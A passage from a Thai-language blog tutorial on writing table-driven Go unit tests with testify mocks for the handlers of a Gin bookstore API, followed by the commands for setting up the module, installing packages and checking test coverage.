&#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE08;&#xE32;&#xE01; Method &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;</p><p>book_handlers_test.go<strong> </strong>&#xE21;&#xE35; Function<strong> </strong>&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; TestGetBook(), TestAddBook(), TestDeleteBook() &#xE41;&#xE25;&#xE30; TestHealthCheck()</p><p>Function &quot;<strong>TestGetBook()</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID &#xE02;&#xE2D;&#xE07; Handler Function &quot;GetBook()&quot; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Test Cases &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE41;&#xE25;&#xE30; ID &#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;</p><p>&#xE27;&#xE19; Loop &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;<br>1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore<br>2. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Mock &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;<br>3. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; HTTP Request &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;<br>4. &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Handler Function &quot;GetBook()&quot;<br>5. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; HTTP Status Code &#xE41;&#xE25;&#xE30; Response Body</p><p>Function &quot;<strong>TestAddBook()</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE02;&#xE2D;&#xE07; Handler Function &quot;AddBook()&quot; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Test Cases &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE21;&#xE48;&#xE04;&#xE23;&#xE1A;&#xE16;&#xE49;&#xE27;&#xE19; (&#xE40;&#xE0A;&#xE48;&#xE19; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;) &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE08;&#xE32;&#xE01; Database</p><p>&#xE27;&#xE19; Loop &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;<br>1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore<br>2. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Mock &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;<br>3. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; HTTP POST Request &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; JSON Body<br>4. &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Handler Function &quot;AddBook()&quot;<br>5. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; HTTP Status Code &#xE41;&#xE25;&#xE30; Response Body</p><p>Function &quot;<strong>TestDeleteBook()</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID &#xE02;&#xE2D;&#xE07; Handler Function &quot;DeleteBook()&quot; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Test Cases &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A; &#xE41;&#xE25;&#xE30; ID &#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;</p><p>&#xE27;&#xE19; Loop &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;<br>1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore<br>2. &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Mock &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;<br>3. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; HTTP Request &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;<br>4. &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Handler Function &quot;DeleteBook()&quot;<br>5. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; HTTP Status Code &#xE41;&#xE25;&#xE30; Response Body</p><p>Function &quot;<strong>TestHealthCheck()</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE02;&#xE2D;&#xE07; Handler Function &quot;HealthCheck()&quot; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Test Cases &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1B;&#xE01;&#xE15;&#xE34; &#xE41;&#xE25;&#xE30;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; (&#xE40;&#xE0A;&#xE48;&#xE19; &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE44;&#xE14;&#xE49;)</p><p>&#xE27;&#xE19; Loop &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;<br>1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore<br>2 &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Mock &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;<br>3. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; HTTP Request &#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;<br>4. &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Handler Function &quot;HealthCheck()&quot;<br>5. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; HTTP Status Code &#xE41;&#xE25;&#xE30; Response Body</p><pre><code>// book_handlers_test.go
package handlers

import (
	&quot;bytes&quot;
	&quot;context&quot;
	&quot;encoding/json&quot;
	&quot;errors&quot;
	&quot;myproject/internal/bookstore&quot;
	&quot;net/http&quot;
	&quot;net/http/httptest&quot;
	&quot;testing&quot;

	&quot;github.com/gin-gonic/gin&quot;
	&quot;github.com/stretchr/testify/assert&quot;
	&quot;github.com/stretchr/testify/mock&quot;
)

type MockBookDatabase struct {
	mock.Mock
}

func (m *MockBookDatabase) GetBook(ctx context.Context, id int) (string, error) {
	args := m.Called(ctx, id)
	return args.String(0), args.Error(1)
}

func (m *MockBookDatabase) AddBook(ctx context.Context, title string) error {
	args := m.Called(ctx, title)
	return args.Error(0)
}

func (m *MockBookDatabase) DeleteBook(ctx context.Context, id int) error {
	args := m.Called(ctx, id)
	return args.Error(0)
}

func (m *MockBookDatabase) Close() error {
	args := m.Called()
	return args.Error(0)
}

func (m *MockBookDatabase) Ping() error {
	args := m.Called()
	return args.Error(0)
}

func (m *MockBookDatabase) Reconnect(connStr string) error {
	args := m.Called(connStr)
	return args.Error(0)
}

func TestGetBook(t *testing.T) {
	gin.SetMode(gin.TestMode)

	tests := []struct {
		name           string
		bookID         string
		mockReturnBook string
		mockReturnErr  error
		expectedStatus int
		expectedBody   map[string]interface{}
		setupMock      func(*MockBookDatabase)
	}{
		{
			name:           &quot;Successful retrieval&quot;,
			bookID:         &quot;1&quot;,
			mockReturnBook: &quot;Test Book&quot;,
			mockReturnErr:  nil,
			expectedStatus: http.StatusOK,
			expectedBody:   map[string]interface{}{&quot;id&quot;: float64(1), &quot;title&quot;: &quot;Test Book&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;GetBook&quot;, mock.Anything, 1).Return(&quot;Test Book&quot;, nil)
			},
		},
		{
			name:           &quot;Book not found&quot;,
			bookID:         &quot;2&quot;,
			mockReturnBook: &quot;&quot;,
			mockReturnErr:  errors.New(&quot;book not found&quot;),
			expectedStatus: http.StatusNotFound,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;book not found&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;GetBook&quot;, mock.Anything, 2).Return(&quot;&quot;, errors.New(&quot;book not found&quot;))
			},
		},
		{
			name:           &quot;Invalid book ID&quot;,
			bookID:         &quot;invalid&quot;,
			mockReturnBook: &quot;&quot;,
			mockReturnErr:  nil,
			expectedStatus: http.StatusBadRequest,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;Invalid book ID&quot;},
			setupMock: func(mockDB *MockBookDatabase) {

			},
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			mockDB := new(MockBookDatabase)
			tt.setupMock(mockDB)

			bs := bookstore.NewBookStore(mockDB)
			handler := NewBookHandlers(bs)

			w := httptest.NewRecorder()
			c, _ := gin.CreateTestContext(w)

			req, _ := http.NewRequest(&quot;GET&quot;, &quot;/books/&quot;+tt.bookID, nil)
			c.Request = req
			c.Params = gin.Params{{Key: &quot;id&quot;, Value: tt.bookID}}

			handler.GetBook(c)

			assert.Equal(t, tt.expectedStatus, w.Code)

			var response map[string]interface{}
			err := json.Unmarshal(w.Body.Bytes(), &amp;response)
			assert.NoError(t, err)
			assert.Equal(t, tt.expectedBody, response)

			mockDB.AssertExpectations(t)
		})
	}
}

func TestAddBook(t *testing.T) {
	gin.SetMode(gin.TestMode)

	tests := []struct {
		name           string
		requestBody    map[string]interface{}
		mockReturnErr  error
		expectedStatus int
		expectedBody   map[string]interface{}
		setupMock      func(*MockBookDatabase)
	}{
		{
			name:           &quot;Successful addition&quot;,
			requestBody:    map[string]interface{}{&quot;title&quot;: &quot;New Book&quot;},
			mockReturnErr:  nil,
			expectedStatus: http.StatusCreated,
			expectedBody:   map[string]interface{}{&quot;message&quot;: &quot;Book added successfully&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;AddBook&quot;, mock.Anything, &quot;New Book&quot;).Return(nil)
			},
		},
		{
			name:           &quot;Missing title&quot;,
			requestBody:    map[string]interface{}{},
			mockReturnErr:  nil,
			expectedStatus: http.StatusBadRequest,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;Key: &apos;Title&apos; Error:Field validation for &apos;Title&apos; failed on the &apos;required&apos; tag&quot;},
			setupMock: func(mockDB *MockBookDatabase) {

			},
		},
		{
			name:           &quot;Database error&quot;,
			requestBody:    map[string]interface{}{&quot;title&quot;: &quot;New Book&quot;},
			mockReturnErr:  errors.New(&quot;database error&quot;),
			expectedStatus: http.StatusInternalServerError,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;database error&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;AddBook&quot;, mock.Anything, &quot;New Book&quot;).Return(errors.New(&quot;database error&quot;))
			},
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			mockDB := new(MockBookDatabase)
			tt.setupMock(mockDB)

			bs := bookstore.NewBookStore(mockDB)
			handler := NewBookHandlers(bs)

			w := httptest.NewRecorder()
			c, _ := gin.CreateTestContext(w)

			jsonBody, _ := json.Marshal(tt.requestBody)
			req, _ := http.NewRequest(&quot;POST&quot;, &quot;/books&quot;, bytes.NewBuffer(jsonBody))
			req.Header.Set(&quot;Content-Type&quot;, &quot;application/json&quot;)
			c.Request = req

			handler.AddBook(c)

			assert.Equal(t, tt.expectedStatus, w.Code)

			var response map[string]interface{}
			err := json.Unmarshal(w.Body.Bytes(), &amp;response)
			assert.NoError(t, err)
			assert.Equal(t, tt.expectedBody, response)

			mockDB.AssertExpectations(t)
		})
	}
}

func TestDeleteBook(t *testing.T) {
	gin.SetMode(gin.TestMode)

	tests := []struct {
		name           string
		bookID         string
		mockReturnErr  error
		expectedStatus int
		expectedBody   map[string]interface{}
		setupMock      func(*MockBookDatabase)
	}{
		{
			name:           &quot;Successful deletion&quot;,
			bookID:         &quot;1&quot;,
			mockReturnErr:  nil,
			expectedStatus: http.StatusOK,
			expectedBody:   map[string]interface{}{&quot;message&quot;: &quot;Book deleted successfully&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;DeleteBook&quot;, mock.Anything, 1).Return(nil)
			},
		},
		{
			name:           &quot;Book not found&quot;,
			bookID:         &quot;2&quot;,
			mockReturnErr:  errors.New(&quot;book not found&quot;),
			expectedStatus: http.StatusInternalServerError,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;book not found&quot;},
			setupMock: func(mockDB *MockBookDatabase) {
				mockDB.On(&quot;DeleteBook&quot;, mock.Anything, 2).Return(errors.New(&quot;book not found&quot;))
			},
		},
		{
			name:           &quot;Invalid book ID&quot;,
			bookID:         &quot;invalid&quot;,
			mockReturnErr:  nil,
			expectedStatus: http.StatusBadRequest,
			expectedBody:   map[string]interface{}{&quot;error&quot;: &quot;Invalid book ID&quot;},
			setupMock: func(mockDB *MockBookDatabase) {

			},
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			mockDB := new(MockBookDatabase)
			tt.setupMock(mockDB)

			bs := bookstore.NewBookStore(mockDB)
			handler := NewBookHandlers(bs)

			w := httptest.NewRecorder()
			c, _ := gin.CreateTestContext(w)

			req, _ := http.NewRequest(&quot;DELETE&quot;, &quot;/books/&quot;+tt.bookID, nil)
			c.Request = req
			c.Params = gin.Params{{Key: &quot;id&quot;, Value: tt.bookID}}

			handler.DeleteBook(c)

			assert.Equal(t, tt.expectedStatus, w.Code)

			var response map[string]interface{}
			err := json.Unmarshal(w.Body.Bytes(), &amp;response)
			assert.NoError(t, err)
			assert.Equal(t, tt.expectedBody, response)

			mockDB.AssertExpectations(t)
		})
	}
}

func TestHealthCheck(t *testing.T) {
	gin.SetMode(gin.TestMode)

	tests := []struct {
		name           string
		mockReturnErr  error
		expectedStatus int
		expectedBody   map[string]interface{}
	}{
		{
			name:           &quot;Healthy&quot;,
			mockReturnErr:  nil,
			expectedStatus: http.StatusOK,
			expectedBody:   map[string]interface{}{&quot;status&quot;: &quot;healthy&quot;},
		},
		{
			name:           &quot;Unhealthy&quot;,
			mockReturnErr:  errors.New(&quot;database connection failed&quot;),
			expectedStatus: http.StatusServiceUnavailable,
			expectedBody: map[string]interface{}{
				&quot;status&quot;: &quot;unhealthy&quot;,
				&quot;reason&quot;: &quot;Database connection failed&quot;,
			},
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			mockDB := new(MockBookDatabase)
			mockDB.On(&quot;Ping&quot;).Return(tt.mockReturnErr)

			bs := bookstore.NewBookStore(mockDB)
			handler := NewBookHandlers(bs)

			w := httptest.NewRecorder()
			c, _ := gin.CreateTestContext(w)

			req, _ := http.NewRequest(&quot;GET&quot;, &quot;/health&quot;, nil)
			c.Request = req

			handler.HealthCheck(c)

			assert.Equal(t, tt.expectedStatus, w.Code)

			var response map[string]interface{}
			err := json.Unmarshal(w.Body.Bytes(), &amp;response)
			assert.NoError(t, err)
			assert.Equal(t, tt.expectedBody, response)

			mockDB.AssertExpectations(t)
		})
	}
}
</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/lib/pq&quot;</p><pre><code>go get github.com/lib/pq</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/spf13/viper&quot;</p><pre><code>go get github.com/spf13/viper</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/gin-gonic/gin&quot;</p><pre><code>go get github.com/gin-gonic/gin</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/stretchr/testify/assert&quot;</p><pre><code>go get github.com/stretchr/testify/assert</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/stretchr/testify/mock&quot;</p><pre><code>go get github.com/stretchr/testify/mock</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Test &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go test -v</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Go &#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</p><pre><code>go test -v -count=1 ./internal/handlers</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-2.31.59-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1297" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-2.31.59-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-2.31.59-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-2.31.59-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-26-at-2.31.59-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover -count=1 ./internal/handlers</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-2.33.15-PM.png" class="kg-image" alt loading="lazy" width="1824" height="184" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-2.33.15-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-2.33.15-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-2.33.15-PM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-2.33.15-PM.png 1824w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder &quot;cmd/&quot; &#xE41;&#xE25;&#xE30; File &quot;main.go&quot; &#xE43;&#xE19; Folder &#xE19;&#xE35;&#xE49; </p><p>&#xE43;&#xE19; File &quot;main.go&quot; &#xE08;&#xE30;&#xE21;&#xE35; Function &quot;TimeoutMiddleware()&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Query &#xE41;&#xE25;&#xE30; Function &quot;main()&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Web Server &#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; API 